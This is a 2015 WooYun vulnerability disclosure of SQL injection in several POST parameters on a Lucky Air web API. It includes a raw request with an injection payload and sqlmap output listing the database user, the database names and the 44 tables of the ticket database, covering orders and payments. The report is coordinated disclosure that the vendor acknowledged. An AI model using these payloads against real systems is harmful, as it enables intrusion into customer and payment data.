当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0156110

漏洞标题：祥鹏航空某站SQL注入多处参数存在问题/订单信息

相关厂商：祥鹏航空

漏洞作者： missy

提交时间：2015-11-26 16:36

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-26： 细节已通知厂商并且等待厂商处理中
2015-11-26： 厂商已经确认，细节仅向厂商公开
2015-12-06： 细节向核心白帽子及相关领域专家公开
2015-12-16： 细节向普通白帽子公开
2015-12-26： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

详细说明：

POST /api/airline-list HTTP/1.1
Content-Length: 48
Content-Type: application/x-www-form-urlencoded
Referer: http://pyh.luckyair.net:80/
Cookie: ASP.NET_SessionId=olbz3w0sx2z5x1jhnwkvfds3
Host: pyh.luckyair.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
ap=1'%22&dp=%E6%98%86%E6%98%8E&p=1&sd=2015-11-27


问题参数：ap dp sd 三处参数都存在问题


1.jpg


dp参数问题


5.jpg


2.jpg


3.jpg


4.jpg


6.jpg


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ap (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: ap=-3974' OR 6828=6828#&dp=%E6%98%86%E6%98%8E&p=1&sd=2015-11-27
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5
current database:    'ticketdb'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ap (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: ap=-3974' OR 6828=6828#&dp=%E6%98%86%E6%98%8E&p=1&sd=2015-11-27
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5
current user:    'root@localhost'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ap (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: ap=-3974' OR 6828=6828#&dp=%E6%98%86%E6%98%8E&p=1&sd=2015-11-27
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] ticketdb
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ap (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: ap=-3974' OR 6828=6828#&dp=%E6%98%86%E6%98%8E&p=1&sd=2015-11-27
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5
Database: ticketdb
[44 tables]
+------------------------+
| info_adv               |
| npc_dict_group         |
| npc_dict_item          |
| npc_info_content_page  |
| npc_info_group         |
| npc_notice_info        |
| npc_notice_push_record |
| npc_sys_action_detail  |
| npc_sys_action_log     |
| npc_sys_admin_info     |
| npc_sys_authorization  |
| npc_sys_config         |
| npc_sys_exception_log  |
| npc_sys_link_user_org  |
| npc_sys_link_user_role |
| npc_sys_member_data    |
| npc_sys_member_info    |
| npc_sys_menu           |
| npc_sys_org_group      |
| npc_sys_org_info       |
| npc_sys_role_info      |
| npc_sys_user_data      |
| npc_sys_user_info      |
| shop_address           |
| shop_brand             |
| shop_cart              |
| shop_category          |
| shop_comment           |
| shop_commodity         |
| shop_commodity_detail  |
| shop_commodity_price   |
| shop_consultation      |
| shop_favorite          |
| shop_logs              |
| shop_order             |
| shop_order_flow        |
| shop_order_item        |
| shop_packages          |
| shop_pay_item          |
| shop_pay_list          |
| shop_paylist           |
| shop_sale              |
| shop_service_order     |
| shop_supplier_info     |
+------------------------+

漏洞证明：

修复方案：

参数过滤

版权声明：转载请注明来源 missy@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-11-26 16:49

厂商回复：

谢谢，我们将立即安排整改

最新状态：

暂无